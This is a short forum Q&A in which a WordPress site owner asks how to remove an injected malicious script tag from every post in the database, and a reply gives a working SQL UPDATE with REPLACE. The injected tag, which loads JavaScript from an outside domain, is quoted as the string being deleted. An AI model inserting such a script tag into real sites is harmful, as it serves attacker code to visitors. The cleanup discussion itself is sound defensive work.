Reputation: 11
Realated to this topic : Why do I receive an error in SQL when trying to find and replace javascript within a database
But didn't work for me. I have the same issue.
I tried:
SELECT
`post_content`,
REPLACE(`post_content`, '<script src=''https://hotopponents.site/site.js'' type=''text/javascript''></script>', ''),
COUNT(*)
FROM `db742664123`.`VUjlspmhposts`
WHERE `post_content` LIKE '%<script src=''https://hotopponents.site/site.js'' type=''text/javascript''></script>%' COLLATE utf8_bin
GROUP BY `post_content`
ORDER BY `post_content` ASC
Changed the db name and the table. But nothing happened, it returned 0.
Just want to erase these malicious code at once from the whole database.
Upvotes: 1
Views: 356
Reputation: 1691
This works:
UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=''https://hotopponents.site/site.js'' type=''text/javascript''></script>', '')
Upvotes: 2